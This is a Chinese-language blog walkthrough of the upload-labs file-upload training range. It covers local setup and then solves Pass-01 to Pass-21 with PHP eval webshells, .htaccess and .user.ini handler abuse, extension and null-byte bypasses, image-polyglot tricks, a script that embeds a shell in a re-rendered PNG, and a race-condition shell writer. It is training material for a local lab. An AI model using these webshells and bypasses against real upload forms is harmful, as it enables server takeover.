文件上传靶场练习:upload-labs

一、在kali部署upload-labs

#确保已经安装了php
sudo apt install php
#下载源码
git clone https://github.com/c0ny1/upload-labs
#运行
php -S 127.0.0.1:80 -t ./upload-labs
ShellScript

访问127.0.0.1:80来打开

或者使用docker部署

docker pull c0ny1/upload-labs
docker run -d -p 80:80 upload-labs:latest

docker exec -it /bin/bash
#添加upload文件夹
mkdir upload
#设置权限
chown www-data:www-data upload
Nginx

Pass-01

<?php
phpinfo();
eval($_POST['cmd']);
?>
PHP

简简单单直接上传图片马,发现有JS的拦截,直接禁用JS上传

推荐使用JavaScript Toggle On and Off插件一键禁用

打开http://127.0.0.1/upload/level1.php,或者直接拖拽图片到浏览器打开,成功!

Pass-02

这次只允许上传Content-Type: 为image/png/jpeg/gif的文件,直接上传level1.jpg用bp拦截修改后缀为level1.php即可

Pass-03

这次过滤了php的后缀,那就换一种等价后缀名:php3,php4,php5,phps,phtml,phtm,用的最多的是phtml

Pass-04

AddType application/x-httpd-php .jpg
Nginx
<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx

查看提示发现把全部的php后缀都过滤了,但是有个文件是没有被过滤的,那就是.htaccess文件

.htaccess文件可以把将指定后缀的文件当做php代码执行即level1.jpg->level2.php

先上传.htaccess文件,再上传level1.jpg

Pass-05

包含在文件头

auto_prepend_file = xxx.jpg
Nginx

包含在文件尾

auto_append_file = xxx.jpg
Nginx

这次过滤了.htaccess,而.user.ini就是为了解决对.htaccess的过滤

先上传.user.ini文件,再上传level1.jpg

Pass-06

标准做法是大小写过滤不严格,直接上传.pHP会解析成php

Pass-07

查看源码发现前面关卡都有的“首尾去空”消失了,可以利用空格来绕过,在.php后面添加 空格上传就可以了level2.php <-这里有空格

Pass-08

查看源码发现前面关卡都有的“删除文件名末尾的点”消失了,可以利用点.来绕过,在.php后面添加空格上传就可以了

Pass-09

查看源码发现前面关卡都有的“去除字符串::$DATA”消失了,在文件末尾加上::$DATA绕过

Pass-10

查看源码,需要绕过两个函数:deldot(),trim()

deldot()是用来删除文件名末尾的点,在遇到空格的时候会停止

trim()是用来首尾去空的,如果直接上传”a.点php空格点”的话会变成a.php被检测到.php的后缀,所以还需要添加一个.来绕过php的检测a.php.,最终文件名为“a.php. .”

Pass-11

查看源码,发现了str_ireplace()函数,这个str_ireplace(a,b,c)函数会将c字符内的a字符替换为b字符,如果中间的b为空字符的话就变成了字符删除函数了

直接双写后缀绕过level3.pphphp

Pass-12

查看源码发现上传路径可空,通过get方式的save_path传输,在move_uploaded_file()函数将../upload和文件名拼接在一起

那这样的话可以使用../upload/a.php%00与a.png拼接,导致%00后面的内容被丢弃,变成../upload/a.php

Pass-13

这个和上面的没区别,唯一的区别就是上传的路径从get请求变成了POST请求,需要将%00进行url-decode

Pass-14

GIF89a
<?php
phpinfo();
eval($_POST['cmd']);
?>
PHP

查看提示会检查图标内容开头2个字节,直接在文本开头添加GIF89a就可以被认定为是一张图片,上传之后使用文件包含漏洞执行图片内的代码

使用getimagesize()检查是否为图片文件

Pass-15

#准备一张直正常的图片a.jpg和一句话木马合并生成level3.jpg
cat a.jpg level1.php > level3.jpg
ShellScript

这关会使用getimagesize()检查是否为图片文件,为我们直接让一张正常的图片夹带私货就可以了

上传后使用文件包含打开文件

Pass-16

同Pass-15,只是检测的函数变了

Pass-17

<?php 
#使用方法:php 1.php 原图片
/* cX<?PHP 不可取消 但可以替换为c<?=
   ?>X<0x00><0x00> 不可删除。*/
#后门代码只能用大写
$a='cX<?PHP PHPINFO();EVAL($_POST[cmd]);?>X'.urldecode('%00').urldecode('%00');

$payload_ascii='';
for($i=0;$i<strlen($a);$i++){
    $payload_ascii.=bin2hex($a[$i]);
}

$payload_hex=bin2hex(gzinflate(hex2bin($payload_ascii)));

// echo $payload_hex."\n";
preg_match_all('/[a-z0-9]{2}/', $payload_hex, $matches);

$blist=[];

foreach($matches[0] as $key => $value){
    $blist[$key]=base_convert($value, 16, 10);
}

function filter1($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + $blist[$i]) %256;
    }
    return array_values($blist);
}

function filter3($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + floor($blist[$i]/2) ) %256;
    }
    return array_values($blist);
}
$p=array_merge(filter1($blist), filter3($blist));
$img = imagecreatetruecolor(32, 32);

// echo sizeof($p);
for ($y = 0; $y < sizeof($p)-3; $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   // echo $color;
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./二次渲染.png');
ShellScript

这次上传的图片会在后台重新渲染生成新的图片,如果只是直接在图片末尾加上一句话木马的话在重渲染后就会失效,但是图片有一部分在重渲染后仍然是不变的

可以使用010 Editor的对比功能来对比原图片和重渲染图片不变的部分

对于PNG的图片,可以直接使用现成的图片或者脚本生成一个图片马

Pass-18

<?php
    fputs(fopen('shell.php','w'),'<?php phpinfo();@eval($_POST["cmd"]) ?>');
?>
PHP
import requests
#在这里输入访问地址
url = "http://127.0.0.1/upload/1.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
PHP

查看代码发现生成的文件会进行重命名后保存,但是代码先是保持文件后再修改名字的,在这之间存在一个极小的时间差,可以让我们直接访问原文件,让其生成恶意代码,这个过程就叫做条件竞争,因为时间间隔非常的短,因此需要我们不断的上传文件,力大飞砖,增加访成功率

使用Burp的intruder模块进行高速重发

点击右上角的Start attak开始

接下来启用python脚本来访问上传的文件,当出现OK的时候就完成生成,等待的时间与服务器的性能相关,推荐不要提供较好的性能,否则是等待时间会比较长

Pass-19

本关无法复现

Pass-20

分析代码发现只会对用户设置的文件名做过滤,而move_uploaded_file()函数有一个特性,就是当文件末尾遇到/.的时候会自动忽略,这样只要上传的文件名修改为a.php/.就可以先绕过后缀名检查,接着move_uploaded_file()将后面的/.忽略,最终保存的文件名就为a.php

Pass-21

查看源码,发现第20行的文件名是使用文件名+.+后缀名拼接的方法重命名的,并且文件名是以数组的形式保存的,那么直接构造save_name[0]=’

a.php/’,save_name[1]=’.’save_name[2]=’jpg’,最后就会拼接成a.php/.jpg

和Pass-20一样,存在move_uploaded_file()函数的特性,/.后面的内容最终会被省略,变成a.php

reset($file)取的是save_name[0]即A.php/,拼接了一个’.’符号,之后又拼接save_name[2]即jpg,拼接后就是:21.php/.png


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇